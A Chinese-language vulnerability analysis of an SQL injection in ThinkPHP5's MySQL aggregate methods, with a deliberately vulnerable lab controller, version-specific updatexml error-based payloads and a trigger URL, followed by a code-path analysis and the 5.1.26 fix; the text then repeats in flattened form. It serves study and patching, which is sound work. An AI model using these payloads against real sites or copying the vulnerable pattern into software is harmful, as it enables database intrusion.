ThinkPHP5漏洞分析之SQL注入(六)
字数 1242 2025-08-18 11:38:45

ThinkPHP5 SQL注入漏洞分析(聚合函数相关方法)

漏洞概述

本漏洞存在于ThinkPHP5框架中所有Mysql聚合函数相关方法,由于程序未对用户输入数据进行有效过滤,直接将数据拼接进SQL语句,导致SQL注入漏洞的产生。

影响版本

  • 5.0.0 ≤ ThinkPHP ≤ 5.0.21
  • 5.1.3 ≤ ThinkPHP5 ≤ 5.1.25

漏洞环境搭建

环境准备

  1. 创建测试项目:
composer create-project --prefer-dist topthink/think=5.1.25 tpdemo
  1. 修改composer.json
"require": {
    "php": ">=5.6.0",
    "topthink/framework": "5.1.25"
}
  1. 执行更新:
composer update
  1. 创建控制器文件application/index/controller/Index.php
<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $options = request()->get('options');
        $result = db('users')->max($options);
        var_dump($result);
    }
}
  1. 配置数据库信息(config/database.php)并开启调试模式(config/app.php中设置app_debugapp_trace为true)

  2. 创建测试数据库:

create database tpdemo;
use tpdemo;
create table users(
    id int primary key auto_increment,
    username varchar(50) not null
);
insert into users(id,username) values(1,'Mochazz');
insert into users(id,username) values(2,'Jerry');
insert into users(id,username) values(3,'Kitty');

漏洞利用

不同版本的Payload

  1. 5.0.0~5.0.21、5.1.3~5.1.10
id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
  1. 5.1.11~5.1.25
id )%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

触发漏洞

访问以下URL(注意:需要开启app_debug才能看到SQL报错信息):

http://localhost:8000/index/index/index?options=id )%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

漏洞分析

漏洞触发流程

  1. 用户可控数据通过request()->get('options')获取
  2. 数据传入max()聚合方法
  3. 调用链:max()aggregate()Mysql::aggregate()
  4. 用户输入经过parseKey()处理后直接拼接到SQL语句中

关键代码分析

  1. aggregate方法

    • 位于thinkphp/library/think/db/Query.php
    • 调用Mysql类的aggregate方法进行聚合查询
  2. parseKey方法

    • 仅对字段和表名两端添加反引号
    • 未对内容进行安全过滤
  3. Builder::select方法

    • 使用str_replace将变量替换到SQL模板中
    • 调用parseField方法处理字段
  4. parseField方法

    • 用户可控数据存储在$options['field']
    • 仅经过parseKey处理(添加反引号)
    • 直接拼接进SQL语句

漏洞修复

官方在5.1.26版本中修复了此漏洞,修复方法:

  • 当匹配到除了字母、点号、星号以外的字符时,抛出异常
  • 增加了对特殊字符的检测

攻击流程图

用户输入 → max()方法 → aggregate() → Mysql::aggregate() → parseKey() → Builder::select() → parseField() → SQL注入

总结

  1. 漏洞根源:用户输入未经过滤直接拼接到SQL语句
  2. 影响范围:所有Mysql聚合函数相关方法(max, min, avg, sum等)
  3. 修复建议:升级到5.1.26及以上版本
  4. 防御措施:对所有用户输入进行严格过滤和转义

扩展知识

  1. 聚合函数:SQL中用于对一组值执行计算并返回单一值的函数
  2. updatexml函数:MySQL XML处理函数,常用于报错注入
  3. 反引号(`):MySQL中用于标识符(如表名、字段名)的引用符号

参考

  • ThinkPHP官方更新日志
  • ThinkPHP-Vuln项目
  • MySQL官方文档关于聚合函数和XML函数的部分
ThinkPHP5 SQL注入漏洞分析(聚合函数相关方法) 漏洞概述 本漏洞存在于ThinkPHP5框架中所有Mysql聚合函数相关方法,由于程序未对用户输入数据进行有效过滤,直接将数据拼接进SQL语句,导致SQL注入漏洞的产生。 影响版本 5.0.0 ≤ ThinkPHP ≤ 5.0.21 5.1.3 ≤ ThinkPHP5 ≤ 5.1.25 漏洞环境搭建 环境准备 创建测试项目: 修改 composer.json : 执行更新: 创建控制器文件 application/index/controller/Index.php : 配置数据库信息( config/database.php )并开启调试模式( config/app.php 中设置 app_debug 和 app_trace 为true) 创建测试数据库: 漏洞利用 不同版本的Payload 5.0.0~5.0.21、5.1.3~5.1.10 : 5.1.11~5.1.25 : 触发漏洞 访问以下URL(注意:需要开启app_ debug才能看到SQL报错信息): 漏洞分析 漏洞触发流程 用户可控数据通过 request()->get('options') 获取 数据传入 max() 聚合方法 调用链: max() → aggregate() → Mysql::aggregate() 用户输入经过 parseKey() 处理后直接拼接到SQL语句中 关键代码分析 aggregate 方法 : 位于 thinkphp/library/think/db/Query.php 调用Mysql类的aggregate方法进行聚合查询 parseKey 方法 : 仅对字段和表名两端添加反引号 未对内容进行安全过滤 Builder::select 方法 : 使用 str_replace 将变量替换到SQL模板中 调用 parseField 方法处理字段 parseField 方法 : 用户可控数据存储在 $options['field'] 仅经过 parseKey 处理(添加反引号) 直接拼接进SQL语句 漏洞修复 官方在5.1.26版本中修复了此漏洞,修复方法: 当匹配到除了字母、点号、星号以外的字符时,抛出异常 增加了对特殊字符的检测 攻击流程图 总结 漏洞根源:用户输入未经过滤直接拼接到SQL语句 影响范围:所有Mysql聚合函数相关方法(max, min, avg, sum等) 修复建议:升级到5.1.26及以上版本 防御措施:对所有用户输入进行严格过滤和转义 扩展知识 聚合函数:SQL中用于对一组值执行计算并返回单一值的函数 updatexml函数:MySQL XML处理函数,常用于报错注入 反引号( ` ):MySQL中用于标识符(如表名、字段名)的引用符号 参考 ThinkPHP官方更新日志 ThinkPHP-Vuln项目 MySQL官方文档关于聚合函数和XML函数的部分